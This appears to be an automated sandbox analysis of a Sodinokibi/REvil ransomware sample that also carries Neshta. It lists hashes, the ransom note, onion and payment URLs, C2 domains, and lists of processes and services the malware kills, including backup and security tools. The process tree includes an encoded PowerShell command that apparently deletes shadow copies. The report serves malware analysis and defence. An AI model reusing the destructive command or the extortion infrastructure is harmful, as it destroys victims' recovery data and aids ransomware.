Overview

overview

10

Static

static

10

39ac4660e5...5c.exe

windows7_x64

10

39ac4660e5...5c.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    182s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 02:16

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General

  • Target

    39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe

  • Size

    204KB

  • MD5

    07dfffd188158429b2d86d28414ad08c

  • SHA1

    9cabd968c2fcb9a2c03d444c8cd7d8e003a17174

  • SHA256

    39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c

  • SHA512

    c8590f51654dafc0f3ac9fd4aa6a33c247d58d2bf5d64bd3157dee1287da71280821054937cd556914d5ed72d351cb3d74026eff55185358460f604bb777ac94

Score
10/10
neshtasodinokibi1999persistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\362288s-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 362288s. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A6E2D584B2B9BB97 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/A6E2D584B2B9BB97 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Q+Qyl00ew9RqUTc5ZTpG0VVBExHfJttoZR3jesoNmY6Xzsli2d836kUkFdpNcx7a L7PwJPteA2nIFR5ImWSBohkXBRIILGh7LR6SKfwhOa9rEsdkzvKkqSZRNhoVOk8f lBB69h7hJNwGItJyiBfMlJuDyramTKAILjcXVIfacOu0EfXtRhY+REv385KqWCll FhYsSwPSE+QIbss2beCDTIPnoHTnw6Gxx4VZGE8mwb9AZThMIYkacyH2sYaYOYP/ xu2J8Ceb4cn+Crp7I0F6ZerjYE5xOEpfAQGYTuiL3soMpNfBdJGJcpTEwoKwCptA 3A4F0FzDxaOwiFXOxESu4M2Ysx9OGROPUeuoIgWuPVWlrhnUscW+ncaZUrofmS7e 2Bvwdspn+Hbpn5QwP+2MFQzPvoTz2xR1fXUdr2XCvVMt/XUobi3GbnaHK3b6q2Ks MNgnEupxQ0xBOdDx+fKuXGjaZlQtL596X1WIg1RSt740CLn+GJE5P1AbiyPn1Kkl RKVA0MH82qwvb6RDQhSKbEnwG1EGqbGs4PTf4C7oaxMWMDnXdwegmMPm7QoS+vfS PgICjs78H0wz/AO31MtsnEX6GvcF3Quk+DZ6rEzU1+KHtP13Gqum8ETjxebIRoI5 blDw4mHaGy1kOSJJc8xdNUmItxH4uEC+dMsnhqq6rvtjRINI93XuaOtKMECs8Oj9 YrikOdmZwsEJibceuBvBmRGdw4W1A8Qz7oXhn8nFzHuJ54lE2Zz8xQBBreNDKPCG vhyUxazi1bgqYf+4/6g2zN4HXw0DHlMGT5Q7Qc4vwUlIOvdCluxjAgRIDbajjs5+ wZabBX2v+jEqtcP8OsuBexolSEHjupBP9F9aMZnHoaU9im5Hrgk5YcIUrfb/TaY/ YYk9sPfM8w7p2/VWtzfzWJO6752+S0rbkQdonxTeQEQQINFv/vcNMvKxpIBSp83C zn0kSanx3lCcSBUyxaeeTlzH7awGE1OY4PCwiLYPaBKq2pt7VQFbwQt2SeifVsiH RtMJ8tFDogHbC9xo+4esnr+AhUzsRM3CeLwRPSuvhp36LO5qsfVDwCSIzhEBgNCv E61Ur8IqAn3jNVDQ7Kdj+s8ba/+rAzQKIhqVpDQ8CpOyWaC9TlUx6cF346BlbxHW 5PA= Extension name: 362288s ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A6E2D584B2B9BB97

http://decryptor.top/A6E2D584B2B9BB97

Extracted

Family

sodinokibi

Botnet

19

Campaign

99

C2

luvbec.com

eatyoveges.com

innersurrection.com

campusce.com

anchelor.com

medicalsupportco.com

photonag.com

rsidesigns.com

o2o-academy.com

hoteltantra.com

gaearoyals.com

arthakapitalforvaltning.dk

ntinasfiloxenia.gr

eafx.pro

smartmind.net

delegationhub.com

laylavalentine.com

michal-s.co.il

stathmoulis.gr

mariajosediazdemera.com
Attributes
  • net

    true

  • pid

    19

  • prc

    isqlplussvc

    firefoxconfig

    oracle

    ocssd

    powerpnt

    thebat64

    onenote

    sqlwriter

    outlook

    mysqld_nt

    excel

    sqlbrowser

    dbsnmp

    msaccess

    winword

    dbeng50

    visio

    ocautoupds

    encsvc

    tbirdconfig

    thebat

    sqlservr

    sqbcoreservice

    mysqld

    agntsvc

    xfssvccon

    mysqld_opt

    mydesktopservice

    ocomm

    msftesql

    thunderbird

    synctime

    infopath

    mydesktopqos

    mspub

    sqlagent

    wordpad

    steam

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    99

  • svc

    sql

    veeam

    backup

    memtas

    sophos

    svc$

    vss

    mepocs

Signatures

  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Sodinokibi/Revil sample 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe
    "C:\Users\Admin\AppData\Local\Temp\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe"
    1⤵
    • Modifies system executable filetype association
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:612
    • C:\Users\Admin\AppData\Local\Temp\3582-490\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe"
      2⤵
      • Executes dropped EXE
      • Modifies extensions of user files
      • Enumerates connected drives
      • Drops file in System32 directory
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:548
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1204
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1488

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Change Default File Association

    1
    T1042

    Privilege Escalation

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Credentials in Files

    1
    T1081

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Data from Local System

    1
    T1005

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\3582-490\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe
      MD5

      1ded173cba5c2992874c2a6e7bf400c0

      SHA1

      c65f1761502be63177d1d4643018eebe63eac9d2

      SHA256

      e8b5044a1fd6342ff6d367595a9e8cac8231c392b587d4ed94c4631d587a7feb

      SHA512

      4192be5d712ee0a8ddf256757ec6851bd51ac5437828c100f8b770567b92e3c8cebbb38121e64455a764d858bc50e957d7ea0c9ffc90351b0b80f638f1d3842a

      Download Submit
    • \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
      MD5

      9e2b9928c89a9d0da1d3e8f4bd96afa7

      SHA1

      ec66cda99f44b62470c6930e5afda061579cde35

      SHA256

      8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

      SHA512

      2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe
      MD5

      1ded173cba5c2992874c2a6e7bf400c0

      SHA1

      c65f1761502be63177d1d4643018eebe63eac9d2

      SHA256

      e8b5044a1fd6342ff6d367595a9e8cac8231c392b587d4ed94c4631d587a7feb

      SHA512

      4192be5d712ee0a8ddf256757ec6851bd51ac5437828c100f8b770567b92e3c8cebbb38121e64455a764d858bc50e957d7ea0c9ffc90351b0b80f638f1d3842a

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\39ac4660e5ce9ba6df05d0c4c6459094854421d4604b325fa91a619e0841285c.exe
      MD5

      1ded173cba5c2992874c2a6e7bf400c0

      SHA1

      c65f1761502be63177d1d4643018eebe63eac9d2

      SHA256

      e8b5044a1fd6342ff6d367595a9e8cac8231c392b587d4ed94c4631d587a7feb

      SHA512

      4192be5d712ee0a8ddf256757ec6851bd51ac5437828c100f8b770567b92e3c8cebbb38121e64455a764d858bc50e957d7ea0c9ffc90351b0b80f638f1d3842a

      Download Submit
    • memory/548-60-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/548-63-0x00000000022E2000-0x00000000022E4000-memory.dmp
      Filesize

      8KB

      Download
    • memory/548-62-0x00000000022E0000-0x00000000022E2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/548-64-0x00000000022E4000-0x00000000022E7000-memory.dmp
      Filesize

      12KB

      Download
    • memory/548-61-0x000007FEF26A0000-0x000007FEF31FD000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/548-65-0x000000001B770000-0x000000001BA6F000-memory.dmp
      Filesize

      3.0MB

      Download
    • memory/548-66-0x00000000022EB000-0x000000000230A000-memory.dmp
      Filesize

      124KB

      Download
    • memory/612-55-0x0000000075D61000-0x0000000075D63000-memory.dmp
      Filesize

      8KB

      Download